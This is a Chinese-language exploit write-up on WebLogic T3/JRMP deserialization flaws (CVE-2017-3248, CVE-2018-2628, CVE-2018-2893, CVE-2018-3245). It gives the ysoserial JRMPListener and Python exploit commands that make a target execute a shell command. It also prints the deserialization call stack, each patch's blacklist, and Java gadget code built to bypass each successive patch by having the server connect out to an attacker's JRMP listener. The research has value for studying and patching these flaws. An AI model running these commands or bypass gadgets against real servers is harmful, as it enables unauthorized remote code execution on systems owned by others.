Weblogic JRMP Attack

CVE-2017-3248

复现

使用ysoserial.jar开启JRMP服务端监听

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/hacked_by_le1a"
1678865337839.png

然后使用EXP发送payload

python2 JRMPAttack.py 10.216.6.185 7001 ysoserial.jar 10.216.6.185 9999 JRMPClient
1678865307794.png
1678865366257.png

分析

1678865609972.png
  1. python脚本通过T3协议,构造payload2,发送给Weblogic。使得Weblogic反序列化后,自动请求JRMP Listener,获取恶意payload1
  2. 反序列化恶意payload1,执行恶意命令

调用栈

transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy58 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
executeCall:243, StreamRemoteCall (sun.rmi.transport)
invoke:377, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:360, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:491, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
1678866278464.png

反序列化时候调用到其InvocationHandlerreadObject方法即RemoteObjectInvocationHandler#readObject()

1678866381106.png

然后走到父类的RemoteObject#readObject(),并且调用了sun.rmi.server.UnicastRef#readExternal()

1678866586681.png
1678866644296.png

最终在DGCClient#registerRefs处理与JRMP服务端的交互请求

1678866760476.png

46行的DGCClient.EndpointEntry.lookup(var0)就是在开启与服务端的通信

1678867098892.png

最后到这里,建立了联系,并且获取传过来的数据,最后将获取的内容利用readObject()进行解析,导致恶意代码执行

1678867351942.png

CVE-2018-2628

CVE-2017-3248的补丁

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}

可以看到,代理resolveClass把java.rmi.registry.Registry添加进了黑名单。

1679201260576.png

方案一

不用代理Registry即可绕过

public Object getObject(final String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    return ref;
}

方案二

使用java.rmi.activation.Activator代替java.rmi.registry.Registry

public Registry getObject(final String command) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
        Activator.class
            }, obj);
    return proxy;
}

CVE-2018-2893

补丁将java.rmi.server.RemoteObjectInvocationHandler加入黑名单,可以用CVE-2016-0638 的StreamMessageImpl封装一下,绕过黑名单。

public Object getObject (final String command ) throws Exception {
  String host;
  int port;
  int sep = command.indexOf(':');
  if (sep < 0) {
    port = new Random().nextInt(65535);
    host = command;
  }
  else {
    host = command.substring(0, sep);
    port = Integer.valueOf(command.substring(sep + 1));
  }
  ObjID objID = new ObjID(new Random().nextInt()); 
  TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
  UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
  RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
  Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
  return streamMessageImpl(Serializer.serialize(object));
}

CVE-2018-3245

使用RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler

1679203278669.png

POC: https://github.com/pyn3rd/CVE-2018-3245

有个疑问就是: poc里用的不是 RMIConnectionImpl_Stub 而是 ReferenceWrapper_Stub

我看了下,这俩都是RemoteObject的子类

1679203773985.png
1679203744975.png
1679203875211.png

精力有限,就没再继续测试了,猜测应该是用这两个类都可以代替RemoteObjectInvocationHandler

参考

https://y4er.com/posts/weblogic-jrmp/

https://xz.aliyun.com/t/10171

https://github.com/pyn3rd/CVE-2018-3245